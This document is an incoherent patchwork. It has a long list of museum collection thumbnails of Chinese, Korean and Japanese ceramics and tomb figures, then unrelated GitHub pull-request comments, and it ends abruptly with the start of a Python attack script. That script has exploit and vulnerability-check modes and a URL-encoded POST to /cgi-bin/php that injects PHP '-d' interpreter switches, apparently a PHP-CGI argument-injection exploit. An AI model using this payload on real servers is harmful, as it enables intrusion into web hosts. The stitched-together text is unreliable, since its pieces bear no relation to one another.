[![Seal Paste Box](http://api.artsmia.org/images/5193/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5193)


[![Spirit Jar (hun ping)](http://api.artsmia.org/images/5777/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5777)


[![Teabowl with Leaf Decor](http://api.artsmia.org/images/5803/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5803)


[![Octagonal Pillow](http://api.artsmia.org/images/5815/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5815)


[![Small Conical Bowl](http://api.artsmia.org/images/5998/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5998)


[![Pear-shaped Bottle](http://api.artsmia.org/images/6008/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=6008)


[![Chicken-Head Ewer](http://api.artsmia.org/images/6197/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=6197)


[![Tripod Incense Burner](http://api.artsmia.org/images/6253/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=6253)


[![Wine Cup and Stand](http://api.artsmia.org/images/8309/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=8309)


[![Bowl with White Rim](http://api.artsmia.org/images/8436/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=8436)


[![Tea Bowl](http://api.artsmia.org/images/9397/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=9397)


[![Rectangular Pillow](http://api.artsmia.org/images/9398/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=9398)


[![Wine Cup with Stand](http://api.artsmia.org/images/9399/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=9399)


[![Storage Jar](http://api.artsmia.org/images/9401/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=9401)


[![Small Bowl](http://api.artsmia.org/images/9403/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=9403)


[![Storage Bottle](http://api.artsmia.org/images/9405/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=9405)


[![Ovoid Vase](http://api.artsmia.org/images/9794/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=9794)


[![Oil Spot Jar](http://api.artsmia.org/images/9795/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=9795)


[![Tea Bowl and Stand](http://api.artsmia.org/images/9879/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=9879)


[![Wine Ewer and Basin](http://api.artsmia.org/images/9882/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=9882)


[![Tripod food vessel li](http://api.artsmia.org/images/12089/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=12089)


[![Stem Cup](http://api.artsmia.org/images/12705/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=12705)


[![Covered Jar](http://api.artsmia.org/images/12791/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=12791)


[![Jar and Cover](http://api.artsmia.org/images/12792/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=12792)


[![Tripod Basin (p'an)](http://api.artsmia.org/images/12793/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=12793)


[![Black Pottery Tripod Jar\r\n](http://api.artsmia.org/images/12872/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=12872)


[![Celadon Vase, one of a pair](http://api.artsmia.org/images/12950/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=12950)


[![Celadon Vase, one of a pair](http://api.artsmia.org/images/12951/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=12951)


[![Tea Bowl (yan-kou wan)](http://api.artsmia.org/images/12990/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=12990)


[![Dish with Foliated Rim](http://api.artsmia.org/images/12991/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=12991)


[![Tea Bowl](http://api.artsmia.org/images/12992/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=12992)


[![Ewer and Cover](http://api.artsmia.org/images/13683/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=13683)


[![Cup with Handle](http://api.artsmia.org/images/13684/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=13684)


[![Covered Cosmetic Box](http://api.artsmia.org/images/13686/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=13686)


[![Covered Bowl](http://api.artsmia.org/images/13720/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=13720)


[![Tea Bowl](http://api.artsmia.org/images/15540/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=15540)


[![Storage jar (hu)](http://api.artsmia.org/images/15737/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=15737)


[![Phoenix-Head Ewer](http://api.artsmia.org/images/17548/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=17548)


[![Burial Jar for Wine Storage, one of a pair](http://api.artsmia.org/images/27427/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=27427)


[![Burial Jar for Wine Storage, one of a pair](http://api.artsmia.org/images/27428/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=27428)


[![Hu (Ritual Storage Vessel)](http://api.artsmia.org/images/28248/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=28248)


[![Covered Ewer](http://api.artsmia.org/images/28472/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=28472)


[![Covered Jar](http://api.artsmia.org/images/28471/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=28471)


[![Ram-shaped Vessel](http://api.artsmia.org/images/28771/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=28771)


[![Frog-shaped Container (Yu)](http://api.artsmia.org/images/28772/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=28772)


[![Bowl, one of a pair](http://api.artsmia.org/images/28773/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=28773)


[![Phoenix-Head Ewer](http://api.artsmia.org/images/28894/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=28894)


[![Bowl, one of a pair](http://api.artsmia.org/images/28774/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=28774)


[![Ting Tripod with Cover](http://api.artsmia.org/images/29269/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=29269)


[![Six-lobed Covered Box](http://api.artsmia.org/images/29492/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=29492)


[![Lidded Jar](http://api.artsmia.org/images/29493/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=29493)


[![Kuan Storage Jar](http://api.artsmia.org/images/30780/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=30780)


[![Small Dish](http://api.artsmia.org/images/31186/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=31186)


[![Narcissus Bowl](http://api.artsmia.org/images/31222/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=31222)


[![Black Amphora with Double Handles](http://api.artsmia.org/images/31241/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=31241)


[![Flower Vase](http://api.artsmia.org/images/31244/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=31244)


[![Globular Jar](http://api.artsmia.org/images/31348/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=31348)


[![Globular Bottle](http://api.artsmia.org/images/31349/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=31349)


[![Bowl, one of a pair](http://api.artsmia.org/images/31350/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=31350)


[![Bowl, one of a pair](http://api.artsmia.org/images/31351/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=31351)


[![Model of a Yung-cheng Bell](http://api.artsmia.org/images/33685/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=33685)


[![Gourd-Shaped Vase](http://api.artsmia.org/images/33690/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=33690)


[![Foliate Rim Bowl, one of a pair](http://api.artsmia.org/images/33832/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=33832)


[![Lobed Dish, one of a pair](http://api.artsmia.org/images/33833/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=33833)


[![Barb-rimmed Bowl, one of a pair](http://api.artsmia.org/images/33834/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=33834)


[![Barb-rimmed Bowl, one of a pair](http://api.artsmia.org/images/33835/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=33835)


[![Carved Bowl](http://api.artsmia.org/images/33941/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=33941)


[![Hare's-Fur Tea Bowl](http://api.artsmia.org/images/34390/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=34390)


[![Jar with Flared Mouth](http://api.artsmia.org/images/35033/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=35033)


[![Tea Bowl](http://api.artsmia.org/images/39631/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=39631)


[![Storage jar](http://api.artsmia.org/images/40135/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=40135)


[![Wide Mouth Jar (kuan)](http://api.artsmia.org/images/45391/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=45391)


[![Bottle with "Garlic-Head" Mouth](http://api.artsmia.org/images/45393/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=45393)


[![Meiping Bottle with Plum Branch Decor](http://api.artsmia.org/images/45604/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=45604)


[![Small Wide Mouthed Jar](http://api.artsmia.org/images/45605/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=45605)


[![Cylindrical Tripod Censer](http://api.artsmia.org/images/45642/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=45642)


[![Small Dish](http://api.artsmia.org/images/45691/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=45691)


[![Pear-shaped Vase](http://api.artsmia.org/images/45692/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=45692)


[![Two-Handled Jar](http://api.artsmia.org/images/45823/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=45823)


[![Wine Ewer and Cover](http://api.artsmia.org/images/45829/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=45829)


[![Pear-shaped Bottle](http://api.artsmia.org/images/45962/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=45962)


[![Jar (kuan)](http://api.artsmia.org/images/46252/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=46252)


[![Octagonal Ewer and Cover](http://api.artsmia.org/images/46337/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=46337)


[![Jar with Rouletted Decoration](http://api.artsmia.org/images/46354/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=46354)


[![Celadon Bowl](http://api.artsmia.org/images/46358/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=46358)


[![Storage Jar and Cover](http://api.artsmia.org/images/58106/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=58106)


[![Cup-shape Vessel](http://api.artsmia.org/images/59710/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=59710)


[![Vessel with Handle](http://api.artsmia.org/images/59711/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=59711)


[![Tea Bowl](http://api.artsmia.org/images/60144/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=60144)


[![Melon Form Cosmetic Box](http://api.artsmia.org/images/60516/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=60516)


[![Tripod Censer](http://api.artsmia.org/images/60550/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=60550)


[![Reliquary Jar in the Shape of a Stupa](http://api.artsmia.org/images/60591/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=60591)


[![Tea Bowl](http://api.artsmia.org/images/60707/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=60707)


[![Two-handled Vessel](http://api.artsmia.org/images/61572/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=61572)


[![Porcelain Brushwasher](http://api.artsmia.org/images/61720/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=61720)


[![Gilt Silver Brushwasher](http://api.artsmia.org/images/61721/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=61721)


[![Long-necked vase](http://api.artsmia.org/images/61722/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=61722)


[![Mei-ping Vase](http://api.artsmia.org/images/61723/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=61723)


[![Garlic Head Vase](http://api.artsmia.org/images/63331/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=63331)


[![Wine vessel hu\r\n](http://api.artsmia.org/images/63506/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=63506)


[![Cup Stand](http://api.artsmia.org/images/64421/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=64421)


[![Storage Jar](http://api.artsmia.org/images/66629/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=66629)


[![Jar and Cover](http://api.artsmia.org/images/72495/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=72495)


[![Storage Vessel](http://api.artsmia.org/images/83512/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=83512)


[![Tripod Censer](http://api.artsmia.org/images/90693/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=90693)


[![Figure of a Rabbit](http://api.artsmia.org/images/90695/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=90695)


[![Flask with Figural Decoration](http://api.artsmia.org/images/90879/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=90879)


[![Garlic Head Vase](http://api.artsmia.org/images/95661/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=95661)


[![Chicken-head Ewer](http://api.artsmia.org/images/102932/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=102932)


[![Alms Bowl](http://api.artsmia.org/images/95662/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=95662)


[![Tripod Ewer](http://api.artsmia.org/images/90880/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=90880)


[![DÅtaku Bell](http://api.artsmia.org/images/1541/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=1541)


[![Male Head](http://api.artsmia.org/images/2819/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=2819)


[![Bowl with four projections](http://api.artsmia.org/images/3119/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=3119)


[![Deep bowl with two projections](http://api.artsmia.org/images/3120/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=3120)


[![Temple Guardian (one of a pair)](http://api.artsmia.org/images/3214/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=3214)


[![Haniwa Figure](http://api.artsmia.org/images/5371/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5371)


[![Temple Guardian (one of a pair)](http://api.artsmia.org/images/12132/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=12132)


[![Stem Cup](http://api.artsmia.org/images/89859/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=89859)


[![Wide-Mouthed Jar](http://api.artsmia.org/images/111520/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=111520)


[![(Lidded Bowl on High Foot)](http://api.artsmia.org/images/1986/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=1986)


[![(Standing Buddha)](http://api.artsmia.org/images/2337/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=2337)


[![(Mishima Bowl)](http://api.artsmia.org/images/2341/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=2341)


[![Mirror with eight arches, decorated with peonies and leaves](http://api.artsmia.org/images/2347/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=2347)


[![Water bottle (kundika)](http://api.artsmia.org/images/2356/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=2356)


[![(Wine Cup with Stand)](http://api.artsmia.org/images/2358/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=2358)


[![Water bottle (kundika)](http://api.artsmia.org/images/2359/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=2359)


[![(Jar with Dragon and Clouds)](http://api.artsmia.org/images/2814/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=2814)


[![(Stem Cup with Cover)](http://api.artsmia.org/images/3801/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=3801)


[![Stem bowl](http://api.artsmia.org/images/3800/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=3800)


[![Rice-Bale-Shaped Bottle](http://api.artsmia.org/images/5175/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5175)


[![General Guo Ziyi's Banquet](http://api.artsmia.org/images/5176/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5176)


[![(Pedestal Bowl with Handles)](http://api.artsmia.org/images/5177/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5177)


[![(Attendant to the King of Hell)](http://api.artsmia.org/images/5178/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5178)


[![Water bottle (kundika)](http://api.artsmia.org/images/5179/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5179)


[![(Jar with Dragon and Clouds)](http://api.artsmia.org/images/5898/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5898)


[![Vase (maebyong)](http://api.artsmia.org/images/5981/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5981)


[![(Storage Jar)](http://api.artsmia.org/images/6024/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=6024)


[![Celadon Ewer](http://api.artsmia.org/images/8360/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=8360)


[![(Storage Jar)](http://api.artsmia.org/images/8434/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=8434)


[![(Jar with Stand)](http://api.artsmia.org/images/9344/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=9344)


[![Gourd-Shaped Ewer](http://api.artsmia.org/images/10020/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=10020)


[![Ksitigarbha and the Ten Kings of Hell](http://api.artsmia.org/images/10559/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=10559)


[![Crane with Autumn Grass](http://api.artsmia.org/images/29496/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=29496)


[![(Hat Box)](http://api.artsmia.org/images/63500/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=63500)


[![Civil Dignitary](http://api.artsmia.org/images/29495/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=29495)


[![Door Hood from Ceremonial Gate](http://api.artsmia.org/images/31067/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=31067)


[![Lokapala Guardian King, one of a pair](http://api.artsmia.org/images/84073/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=84073)


[![Lokapala Guardian King, one of a pair](http://api.artsmia.org/images/84074/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=84074)


[![Camel, one of a pair](http://api.artsmia.org/images/95595/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=95595)


[![Camel, one of a pair, and Rider](http://api.artsmia.org/images/95596/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=95596)


[![Kowtowing Official](http://api.artsmia.org/images/95597/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=95597)


[![Striding Horse](http://api.artsmia.org/images/95826/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=95826)


[![Striding Horse](http://api.artsmia.org/images/96035/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96035)


[![Horse, one of a pair](http://api.artsmia.org/images/96036/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96036)


[![Horse, one of a pair](http://api.artsmia.org/images/96037/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96037)


[![Funerary urn, one of a pair](http://api.artsmia.org/images/96039/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96039)


[![Funerary urn, one of a pair](http://api.artsmia.org/images/96040/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96040)


[![Zodiac figure with rat, one of a set of twelve](http://api.artsmia.org/images/96042/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96042)


[![Zodiac figure with ox, one of a set of twelve](http://api.artsmia.org/images/96043/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96043)


[![Zodiac figure with tiger, one of a set of twelve](http://api.artsmia.org/images/96044/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96044)


[![Zodiac figure with rabbit, one of a set of twelve](http://api.artsmia.org/images/96045/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96045)


[![Zodiac figure with green dragon, one of a set of twelve](http://api.artsmia.org/images/96046/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96046)


[![Zodiac figure with snake, one of a set of twelve](http://api.artsmia.org/images/96047/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96047)


[![Zodiac figure with horse, one of a set of twelve](http://api.artsmia.org/images/96048/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96048)


[![Zodiac figure with sheep, one of a set of twelve](http://api.artsmia.org/images/96049/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96049)


[![Zodiac figure with monkey, one of a set of twelve](http://api.artsmia.org/images/96050/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96050)


[![Zodiac figure with rooster, one of a set of twelve](http://api.artsmia.org/images/96051/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96051)


[![Zodiac figure with dog, one of a set of twelve](http://api.artsmia.org/images/96052/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96052)


[![Zodiac figure with boar, one of a set of twelve](http://api.artsmia.org/images/96053/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=96053)


[![Prancing Horse](http://api.artsmia.org/images/97461/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=97461)


[![Sarcophagus of Prince Yuan Mi](http://api.artsmia.org/images/738/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=738)


[![Epitaph Tablet of Prince Cheng Ching (Yuan Mi)](http://api.artsmia.org/images/739/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=739)


[![Epitaph Cover of Prince Cheng Ching (Yuan Mi)](http://api.artsmia.org/images/740/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=740)


[![Tomb Guardian Figures](http://api.artsmia.org/images/397/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=397)


[![Tomb Retiinue Earth Spirit](http://api.artsmia.org/images/787/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=787)


[![Tomb Retinue Dignitary](http://api.artsmia.org/images/786/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=786)


[![Tomb Figure](http://api.artsmia.org/images/788/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=788)


[![Tomb Retinue Earth Spirit](http://api.artsmia.org/images/793/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=793)


[![Tomb Retinue Guardian](http://api.artsmia.org/images/789/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=789)


[![Tomb Figurine, one of pair](http://api.artsmia.org/images/806/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=806)


[![Figure of an Animal](http://api.artsmia.org/images/858/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=858)


[![Tomb Figure Representing a Standing Dog](http://api.artsmia.org/images/864/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=864)


[![Tomb Figure of a Kneeling Camel with Driver](http://api.artsmia.org/images/865/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=865)


[![Tomb Figure Representing a Musician Playing a Lute](http://api.artsmia.org/images/866/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=866)


[![Tomb Figure Representing a Musician Playing a Bamboo Flute](http://api.artsmia.org/images/867/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=867)


[![Figure of a Woman](http://api.artsmia.org/images/868/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=868)


[![Tomb Figurine of a Court Lady](http://api.artsmia.org/images/875/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=875)


[![Tomb Figure Representing a Seated Dog](http://api.artsmia.org/images/886/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=886)


[![Pair of earrings](http://api.artsmia.org/images/1171/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=1171)


[![Phoenix Hair Ornament](http://api.artsmia.org/images/1172/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=1172)


[![Hairpin, one of a pair](http://api.artsmia.org/images/1175/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=1175)


[![Vessel lid with phoenix motif](http://api.artsmia.org/images/1180/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=1180)


[![Wine cup](http://api.artsmia.org/images/1181/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=1181)


[![Covered box](http://api.artsmia.org/images/1182/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=1182)


[![Hair Ornament, one of a pair](http://api.artsmia.org/images/4693/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=4693)


[![Shears (scissors)](http://api.artsmia.org/images/5413/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5413)


[![Standing Lady](http://api.artsmia.org/images/5785/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=5785)


[![Tomb Retinue Dignitary](http://api.artsmia.org/images/11974/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=11974)


[![Tomb Retinue Horse](http://api.artsmia.org/images/11975/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=11975)


[![Tomb Figurine, one of pair](http://api.artsmia.org/images/11976/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=11976)


[![Flying Dragon, one of a pair](http://api.artsmia.org/images/13603/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=13603)


[![Flying Dragon, one of a pair](http://api.artsmia.org/images/13604/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=13604)


[![Mortuary Figure](http://api.artsmia.org/images/15402/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=15402)


[![Seated Figure of a Woman](http://api.artsmia.org/images/17529/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=17529)


[![Head Rest](http://api.artsmia.org/images/17546/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=17546)


[![Tripod Jar](http://api.artsmia.org/images/17550/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=17550)


[![Hairpin or ornament](http://api.artsmia.org/images/17801/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=17801)


[![Frog Ring](http://api.artsmia.org/images/17809/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=17809)


[![Hairpin or ornament, one of a pair](http://api.artsmia.org/images/17835/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=17835)


[![Hairpin or ornament, one of a pair](http://api.artsmia.org/images/17836/300/small.jpg)](http://collections.artsmia.org/?page=simple&id=17836)


Missed a newline.


Only one addition to Alejandro's comments: if you eventually don't remove the sentece "Usage of the validation directives it's very easy", you should remove the it.


I start to work on "11-Users can login to their account" issue
@atharkh if you want i can upload new file with "InProgress" change or can you update it?


I know this is something subjective, but I prefer having indentation when going to a child tag. I see the code more clearly that way.


Hi,

This looks nice.


What are these default folders for? The basic example for each type of document?


I initially planned to make an install rule for the file, but
- the "packaged" nvidia driver already has a Module section to disable glamorgl
- Users/packages might have custom module sections to manually enable/disable others modules
This may conflict with theses.

Also if this library is meant to be used by default, maybe it will be easier to have it loaded automatically, and unloaded if not relevant (no nvidia driver, Xwayland, Xfb Xvnc contexts) ?

So right now, this is just a sample.


Nice to.


Why would you add folders for different versions like that? That's the whole reason why we use version control software in the first place.


I also would like to add the config page again..
Have to see how to do that.


Ok, yes please update the file.


Could you join IRC?


Seriously, what's that!? @turbo-ele @christianbader @notsure @michaelzangerle @oliverpretz /cc @danrot


I keep by recipes pretty much up-to-date; https://github.com/haf/fpm-recipes/blob/master/mono/recipe.rb -- you can change the prefix using those. I've also created the humble beginnings of a build env https://hub.docker.com/u/haaf/ which creates reproducible builds -- you can change the `prefix` of the recipes to install into `/app`

Could the F# project finance a few VMs, then over time we could build a CI environment with the above? (right now I have no money coming in, so I can't finance it myself right now).


## This is a markdown file


comment..............


I was also thinking the same thing, and tried it (without first line). For ImageMagick it worked, but for GraphicsMagick it didn't (I don't know why). So I decided to do manual parsing after all, because who knows what can make it invalid YAML (maybe some images have attributes I don't know about, so I can't test it).


@bors: retry


saw approval from Ms2ger
at https://github.com/servo/servo/commit/3479d3fa7fbbfbcdbc92a93896b4a347338fe103


merging servo/servo/unsafe_code = 3479d3fa into auto


servo/servo/unsafe_code = 3479d3fa merged ok, testing candidate = 29a36adb


Already joined.

     On Saturday, 21 March 2015, 11:05, Jamie Mansfield <notifications@github.com> wrote:

 Could you join IRC?—
Reply to this email directly or view it on GitHub.


parenthesis aren't needed


Need to do similar thing for square brace parameter


There's a WIN64 variable which we've defined near the top of this file which you can use here instead (`if (WIN64)`)


Would it make sense for you to enhance this pull request and cover both solutions - use a newer `mono` (Ubuntu 14.10 comes with 3.2.x which is extremely outdated) and workaround with `mozroots`.


Any reason there shouldn't be an interface with the `script`, `style`, `linkAsset` etc methods that are used?


Line 32 would belong better in the block beginning on line 36


That was me; I was using a brand new install of SGit for Android and didn't have my profile set in it properly.


Thanks for this Bugfix!


Getting the CPU cycles won't be a problem one way or another. But could the build could possibly be automated using Travis's open source CI support for free?  e.g. modify the travis build on http://github.com/fsharp/fsharp to publish artefacts (or use another branch or repo to publish)


@echowdh Ben and I decided that you and others mentioned in these meeting minutes don't need to sign it, as I cannot add everyone as collaborators to this GitHub project for security reasons. If you really want to add your signature, you can
1. fork the repository,
2. make changes in the new fork repository,
3. submit a pull request to my repository.
Then, I can merge your changes.


import sys, socket, argparse, threading, time, random, select, ssl

NONE = 0
VULN = 1
SCMD = 2
XPLT = 3

t3st = 'POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D' \
        '%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73' \
